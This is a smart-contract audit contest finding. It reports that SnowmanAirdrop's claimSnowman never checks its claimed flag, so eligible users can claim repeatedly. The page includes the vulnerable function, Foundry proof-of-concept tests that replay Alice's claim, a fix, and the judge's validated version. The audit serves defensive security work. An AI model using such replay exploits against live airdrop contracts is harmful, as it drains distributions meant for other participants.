Snowman Merkle Airdrop
AI First Flight #10
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Submission Details
Severity: low
Valid

Missing claim guard allows repeated airdrop claims

davidderedx2

Root + Impact

Description

  • Expected behavior: each eligible address claims once for its Merkle snapshot allocation.

  • Actual behavior: s_hasClaimedSnowman is set but never checked, and the signed payload has no nonce or deadline, so claims can be replayed after the receiver restores their Snow balance.

​
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
@ // Missing guard: previously claimed addresses are not blocked
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount);
@ s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

Risk

Likelihood:

  • Any eligible receiver can replay the same proof and signature after rebuying Snow to the snapshot amount.

  • No nonce/deadline or claim-status check prevents reuse.

Impact:

  • Multiple claims inflate NFT supply beyond the Merkle allocation.

  • Airdrop distribution integrity is broken for every replaying address.

Proof of Concept

  • Path: audit/poc/F-002_ReplayClaim.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {Snow} from "src/Snow.sol";
import {Snowman} from "src/Snowman.sol";
import {SnowmanAirdrop} from "src/SnowmanAirdrop.sol";
import {Helper} from "script/Helper.s.sol";
​
contract ReplayClaimTest is Test {
// Protocol contracts.
Snow private snow;
Snowman private snowman;
SnowmanAirdrop private airdrop;
​
// Test helper to set up balances and airdrop.
Helper private helper;
​
// Alice proof values (from script/flakes/output.json and TestSnowmanAirdrop).
bytes32 private constant AL_PROOF_A =
0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
bytes32 private constant AL_PROOF_B =
0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
bytes32 private constant AL_PROOF_C =
0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] private AL_PROOF = [AL_PROOF_A, AL_PROOF_B, AL_PROOF_C];
​
// Roles.
address private alice;
uint256 private aliceKey;
address private relayer;
​
function setUp() public {
helper = new Helper(); // deploy helper for setup
(airdrop, snow, snowman,) = helper.run(); // deploy protocol and seed balances
(alice, aliceKey) = makeAddrAndKey("alice"); // set Alice address and key
relayer = makeAddr("relayer"); // set relayer address
}
​
function _signForAlice() internal returns (uint8 v, bytes32 r, bytes32 s) {
bytes32 digest = airdrop.getMessageHash(alice); // compute EIP-712 digest
(v, r, s) = vm.sign(aliceKey, digest); // sign digest as Alice
}
​
function _approveSnow() internal {
vm.prank(alice); // impersonate Alice
snow.approve(address(airdrop), 1); // approve airdrop to transfer Snow
}
​
function test_ReplayClaimAfterRebuyingSnow() public {
_approveSnow(); // approve for first claim
(uint8 v, bytes32 r, bytes32 s) = _signForAlice(); // sign claim once
vm.prank(relayer); // impersonate relayer
airdrop.claimSnowman(alice, AL_PROOF, v, r, s); // submit first claim
assertEq(snowman.balanceOf(alice), 1); // confirm first mint
uint256 fee = snow.s_buyFee(); // read ETH price for 1 Snow
vm.deal(alice, fee); // fund Alice for buy
vm.prank(alice); // impersonate Alice
snow.buySnow{value: fee}(1); // rebuy Snow to snapshot amount
_approveSnow(); // approve for second claim
vm.prank(relayer); // impersonate relayer again
airdrop.claimSnowman(alice, AL_PROOF, v, r, s); // replay claim
assertEq(snowman.balanceOf(alice), 2); // confirm replayed mint
}
​
function test_ClaimSucceedsEvenWhenClaimStatusTrue() public {
_approveSnow(); // approve for first claim
(uint8 v, bytes32 r, bytes32 s) = _signForAlice(); // sign claim once
vm.prank(relayer); // impersonate relayer
airdrop.claimSnowman(alice, AL_PROOF, v, r, s); // submit first claim
assertTrue(airdrop.getClaimStatus(alice)); // confirm claimed status is true
uint256 fee = snow.s_buyFee(); // read ETH price for 1 Snow
vm.deal(alice, fee); // fund Alice for buy
vm.prank(alice); // impersonate Alice
snow.buySnow{value: fee}(1); // rebuy Snow to snapshot amount
_approveSnow(); // approve for second claim
vm.prank(relayer); // impersonate relayer again
airdrop.claimSnowman(alice, AL_PROOF, v, r, s); // claim again despite status
assertEq(snowman.balanceOf(alice), 2); // confirm second mint succeeded
}
}
​

Recommended Mitigation

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
// Optional: include nonce/deadline in the signed payload to prevent replay
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

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